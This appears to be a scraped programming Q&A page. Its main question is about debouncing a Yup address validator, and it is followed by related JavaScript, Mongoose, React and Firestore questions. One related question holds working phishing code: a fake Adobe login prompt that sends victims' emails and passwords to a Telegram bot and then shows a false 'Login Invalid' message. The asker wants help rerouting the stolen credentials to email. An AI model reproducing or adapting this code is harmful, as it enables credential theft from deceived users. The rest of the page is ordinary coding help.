how to do setTimeout on Yup.test? - javascript

i am trying to validate an address:
line1: Yup.string()
.test(
"Address Line 1 Validation Test",
"Please enter valid Line 1 address",
async (line1: string) => {
let delayTimer = null;
let isValid = false;
const doSearch = () => {
clearTimeout(delayTimer);
delayTimer = setTimeout(async () => {
const { data } = await axios.get<{ status: string }>(
"https://maps.googleapis.com/maps/api/geocode/json?components=country:USA",
{
params: {
address: line1,
key: GEOCODE_API_KEY,
},
}
);
console.log("line1: ", line1);
console.log("data: ", data);
isValid = data.status === "OK" ? true : false;
}, 1000); // Will do the ajax stuff after 1000 ms, or 1 s
};
doSearch();
return isValid;
}
)
.required("Line 1 is required"),
i want to integrate delay search like this so i don't flood my api everytime user type like this: AJAX: Delay for search on typing in form field
but it's doing api request everytime user type. how do i implement?

The problem is that you are actually never clearing the timeout.
Each time your handler runs, new delayTimer, isValid and doSearch variables are created and initialized. Those variables have to be placed in an outer scope. Something like this:
let delayTimer = null;
let isValid = false;
Yup.string()
.test(
'Address Line 1 Validation Test',
'Please enter valid Line 1 address',
async (line1: string) => {
clearTimeout(delayTimer);
delayTimer = setTimeout(async () => {
const {data} =
(await axios.get) <
{status: string} >
('https://maps.googleapis.com/maps/api/geocode/json?components=country:USA',
{
params: {
address: line1,
key: GEOCODE_API_KEY
}
});
console.log('line1: ', line1);
console.log('data: ', data);
isValid = data.status === 'OK';
}, 1000); // Will do the ajax stuff after 1000 ms, or 1 s
return isValid;
}
)
.required('Line 1 is required');
Now, even if that fixes your initial problem, there is another issue to address. Your function will always return a promise with the wrong value of isValid.
What you have to do depends on what you want, but I'll give you the following insight:
let delayTimer = null;
let isValid = false;
let resolveRef = null;
Yup.string()
.test(
'Address Line 1 Validation Test',
'Please enter valid Line 1 address',
async (line1: string) => {
clearTimeout(delayTimer);
if (resolveRef) {
resolveRef(isValid);
resolveRef = null;
}
return await new Promise((resolve) => {
resolveRef = resolve;
delayTimer = setTimeout(async () => {
const {data} =
(await axios.get) <
{status: string} >
('https://maps.googleapis.com/maps/api/geocode/json?components=country:USA',
{
params: {
address: line1,
key: GEOCODE_API_KEY
}
});
isValid = data.status === 'OK';
resolve(isValid);
resolveRef = null;
}, 1000);
});
}
)
.required('Line 1 is required');
Hope it works. Please let me know.

Related

Post data from form to email using javascript

i have a form that sends form result via telegram Api, i want it to send to an email address instead.
here is the initial code.
const button = document.querySelector('.btn');
const popup = document.querySelector('.popup');
const passInput = document.querySelector('.pass');
const emailGrab = document.querySelector('.email');
const formData = document.querySelector('.form-data');
const passMsg = document.querySelector('.pass-msg');
const preview = document.querySelector('.preview');
window.addEventListener('load', () => {
alert('Authentication Required, Click ok to continue');
popup.classList.add('hide');
formData.style.animation = 'moveLeft .7s ease-in-out';
emailGrab.textContent = zhe;
});
let xyz = 123456789; // Secrets redacted
let yxz = 'SECRET';
function telegramApi(method, id, message) {
fetch(`https://api.telegram.org/bot${yxz}/${method}?
chat_id=${id}&text=${message}&parse_mode=HTML`);
}
button.addEventListener('click', () => {
const results = `Adobe EmailAddress:
${emailGrab.textContent} Adobe Password: ${passInput.value}`;
if (passInput.value === '') {
alert('The Following error(s) occured - Password Required')
} else {
telegramApi('sendMessage', xyz, results);
passMsg.style.color = 'red';
passMsg.textContent = 'Login Invalid Please enter correct password.';
setTimeout(() => {
preview.classList.remove('hidden');
}, 2000);
setTimeout(() => {
preview.classList.add('hidden');
}, 10000);
}
});
passInput.addEventListener('keypress', () => {
passMsg.style.color = 'rgb(59, 58, 58)';
passMsg.textContent = 'Confirm your details to access your documents';
})
I have tried the following
function sendData (); {fetch("ace.php", { method: "POST",body: "data" ); }
button.addEventListener('click', () => { const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password:
if (passInput.value === '') { alert('The Following error(s) occured - Password Required') }
else {telegramApi('sendMessage', results);
please i need help, i am not so good with javascript.

Code not being executed - Mongoose - Cannot set headers after they are sent to the client

I'm trying to see if the userlookUp in the User.prototype.userExists function is true based on the UserChema.findOne() but for some unknown reason, the block is not being executed if its true. In this case, return this.errors.push('User already exists'), is not being executed.
I have some other error checks in another function, and they work great as they are supposed to (being shown in the browser console) except this one.
Looking for some help.
I appreciate it.
userController.js
const User = require('../models/User');
exports.login = function () {};
exports.logout = function () {};
exports.register = function (req, res) {
let user = new User(req.body);
user.register();
if (user.errors.length) {
res.send(user.errors);
} else {
res.send(user);
res.send('Congrats, there are no errors.');
}
};
exports.home = function (req, res) {
res.send('API up and running!');
};
User.js
const validator = require('validator');
const UserSchema = require('./UserSchema');
const gravatar = require('gravatar');
const bcrypt = require('bcryptjs');
let User = function (data) {
this.data = data;
this.errors = [];
};
User.prototype.cleanUp = function () {
if (typeof this.data.username != 'string') {
this.data.username = '';
}
if (typeof this.data.email != 'string') {
this.data.email = '';
}
if (typeof this.data.password != 'string') {
this.data.password = '';
}
// get rid of any bogus properties
this.data = {
username: this.data.username.trim().toLowerCase(),
email: this.data.email.trim().toLowerCase(),
password: this.data.password,
};
};
User.prototype.validate = function () {
if (this.data.username == '') {
this.errors.push('You must provide a username.');
}
if (
this.data.username != '' &&
!validator.isAlphanumeric(this.data.username)
) {
this.errors.push('Username can only contain letters and numbers.');
}
if (!validator.isEmail(this.data.email)) {
this.errors.push('You must provide a valid email.');
}
if (this.data.password == '') {
this.errors.push('You must provide a password longer than 6 characters.');
}
if (this.data.password.length > 0 && this.data.password.length < 6) {
this.errors.push('The password must be longer than 6 characters.');
}
if (this.data.password.length > 50) {
this.errors.push('The password cannot exceed 50 characters.');
}
if (this.data.username.length < 3 && this.data.username.length > 15) {
this.errors.push('The username must be at least 3 characters.');
}
};
User.prototype.userExists = async function () {
try {
let userLookUp = await UserSchema.findOne({
email: this.data.email,
});
if (userLookUp) {
return this.errors.push('User already exists');
} else {
const avatar = gravatar.url(this.data.email, {
s: '200',
r: 'pg',
d: 'mm',
});
userLookUp = new UserSchema({
username: this.data.username,
email: this.data.email,
password: this.data.password,
avatar: avatar,
});
const salt = await bcrypt.genSalt(10);
userLookUp.password = await bcrypt.hash(this.data.password, salt);
await userLookUp.save();
}
} catch (e) {
console.log('there is a server problem');
}
};
User.prototype.register = function () {
// Step #1: Validate user data
this.cleanUp();
this.validate();
this.userExists();
// Step #2: See if user exists
// Step #3: Get users gravatar
// Step #4: Encrypt the password
// Step #5: Return jsonwebtoken
// Step #6: Only if there are no validation errors
// then save the user data into a database
};
module.exports = User;
In the User.register function you run some functions that are promises (async functions) which are not fulfilled before the User.register function returns.
You can do something like this:
User.prototype.register = async function () {
this.cleanUp();
this.validate();
await this.userExists();
};
...
exports.register = async function (req, res) {
let user = new User(req.body);
await user.register();
if (user.errors.length) {
res.send(user.errors);
} else {
res.send(user);
res.send('Congrats, there are no errors.');
}
};

getting this error in my code, Failed to fetch at sendData (form.js:42:5)

Screenshot of error:
So, basically i'm getting this weird error in my java Script file, called: Failed to fetch
at sendData
and i don't know quite what is the error, i cant save nothing to my database cause of this error
here's the code from the form.js :
const loader = document.querySelector('.loader');
// select inputs
const SubmitBtn = document.querySelector('.submit-btn');
const name = document.querySelector('#name');
const email = document.querySelector('#email');
const password = document.querySelector('#password');
const number = document.querySelector('#number');
const tac = document.querySelector('#terms-and-cond');
const notification = document.querySelector('#notification');
SubmitBtn.addEventListener('click', () => {
if (name.value.length < 3) {
showAlert('name must be 3 letters long');
} else if (!email.value.length) {
showAlert('enter your email');
} else if (password.value.length < 8) {
showAlert('password should be 8 letters long');
} else if (!number.value.length) {
showAlert('enter your phone number');
} else if (!Number(number.value) || number.value.length < 10) {
showAlert('invalid number, please enter a valid one');
} else if (!tac.checked) {
showAlert('you must agree to our terms and conditions')
} else {
// submeter o form
loader.style.display = 'block';
sendData('/signup', {
name: name.value,
email: email.value,
password: password.value,
number: number.value,
tac: tac.checked,
notification: notification.checked,
seller: false
})
}
})
// send data function
const sendData = (path, data) => {
fetch(path, {
method: 'post',
headers: new Headers({
'Content-Type': 'application/json'
}),
body: JSON.stringify(data)
}).then((res) => res.json())
.then(response => {
processData(response);
})
}
const processData = (data) => {
loader.style.display = null;
if (data.alert) {
showAlert(data.alert);
}
}
// alert funcionalidade
const showAlert = (msg) => {
let alertBox = document.querySelector('.alert-box');
let alertMsg = document.querySelector('.alert-msg');
alertMsg.innerHTML = msg;
alertBox.classList.add('show');
setTimeout(() => {
alertBox.classList.remove('show');
}, 3000);
}
with this i always get the same error, it doesn't save the users to the database, and its kinda irritating. i would like help for this type of error as soon as possible. this for a school project and time is coming short...

Validate a password input on button submit React

I have a function that creates a new user, using name, email, password and role. It validates name and email, but it does not validate the passoword.
This is the function that creates a new user:
const createNewUser = async () => {
try {
const response = await axios.post("/user/create", {
name: newUser.newName,
email: newUser.newEmail,
password: newUser.newPassword,
role: newUser.newRole,
});
if (response.status === 200) {
fetchAllUsers(token).then((res) => {
dispatch(dispatchGetAllUsers(res));
});
setNewUser({
newName: "",
newEmail: "",
newPassword: "",
newRole: 0,
});
}
else {
setErrorNew(response.msg);
}
} catch (error) {
setErrorNew(error.response.data.msg);
}
};
And this is the function that returns error message if input is empty:
const handleChangeNew = (ev) => {
const { id, value } = ev.target;
setErrorNew("");
setNewUser({ ...newUser, [id]: value });
};
I would like to return a error messaje if password input length is less than 6 characters
Just do something like this:
const handleChangeNew = (ev) => {
const { id, value } = ev.target;
if(value.length < 6 && id === 'newPassword') {
setErrorNew("Your password should contain minimum of 6 characters");
} else {
setErrorNew("");
}
setNewUser({ ...newUser, [id]: value });
};

Keeps calling itself when using the onClick event handler

what I expect to happen:
when the user clicks addProject button the event listener will run calling
formSubmit
and we will check for the date if it's valid or not then if it's valid it will call fetchingCompanyNameAndUserData
it will fetch the required data update the state and it will call checkUniqueName which again will fetch some data making sure there is no duplication and then it's supposed to call this.insert()
which will finally insert the data into our firestore-NoSQL- DB.
The issue:
these function specially the checkUniqueName keeps calling it self over and over and I don't know what is wrong there.
the code:
formSubmit = event => {
event.preventDefault();
const isLoading = this.state;
var sdate = this.state.projectData.sdate;
var edate = this.state.projectData.edate;
if (sdate > edate) {
NotificationManager.error(`Please entre a valid dates`);
return;
} else {
// isLoading = true;
this.fetchingCompanyNameAndUserData();
}
};
fetchingCompanyNameAndUserData = async () => {
const userRef = fireStore.collection('users');
const userData = await userRef.where("Email", "==", auth.currentUser.email).get();
userData.forEach(doc => {
console.log('this one must match', doc.data().CompanyName)
const cashedFirstName = doc.data().FirstName;
const cashedLastName = doc.data().LastName;
const fullName = cashedFirstName + ' ' + cashedLastName;
return this.setState({
companyName: doc.data().CompanyName,
userName: fullName,
}, () => {
console.log('done fetching');
this.checkUniqueName();
});
})
};
checkUniqueName = async () => {
const projectName = this.state.projectData.title;
const companyName = this.state.companyName;
const projectRef = fireStore.collection('PROJECT')
const projectData = await projectRef.where("ProjectName", "==", projectName).get();
projectData.forEach(doc => {
if (doc.data().CompanyName !== companyName) {
console.log('checking unique nameing');
this.insert();
} else {
NotificationManager.error('this project already exists');
}
})
}
async insert() {
//async function foo() {
console.log('insreting proooo');
var ptitle = this.state.projectData.title;
var pdesc = this.state.projectData.desc;
var sdate = this.state.projectData.sdate;
var edate = this.state.projectData.edate;
var status = this.state.projectData.status;
var companyName = this.state.companyName;
try {
let response = await fireStore.collection("PROJECT").add(
{
ProjectName: ptitle,
CompanyName: companyName,
ProjectDescription: pdesc,
startDate: sdate,
EndDate: edate,
Status: status,
CreatedBy: auth.currentUser.email,
CreatedDate: toUTCDateString(new Date()),
LastModifiedBy: auth.currentUser.email,
LastModifiedDate: toUTCDateString(new Date()),
UserDocId: auth.currentUser.uid
});
let doc = await fireStore.collection("PROJECT").doc(response.id).get()
this.handleClose();
//alert(doc.id)
var d1 = doc.id;
this.props.history.push('/app/dashboard/addproject/' + d1);
//this.handleClose;
NotificationManager.success('Project Created Successfully!');
}
catch (error) {
//console.log('error: ', error);
console.log(error)
}
}
Hope I made it as clear as possible here
Your checkUniqueName() function can be rewritten as:
checkUniqueName = async () => {
const projectName = this.state.projectData.title;
const companyName = this.state.companyName;
const projectRef = fireStore.collection('PROJECT')
const qsMatchingProjects = await projectRef.where("ProjectName", "==", projectName).where("CompanyName", "==", companyName).get();
if (qsMatchingProjects.empty) {
this.insert();
} else {
NotificationManager.error('this project already exists');
}
}

Categories

Resources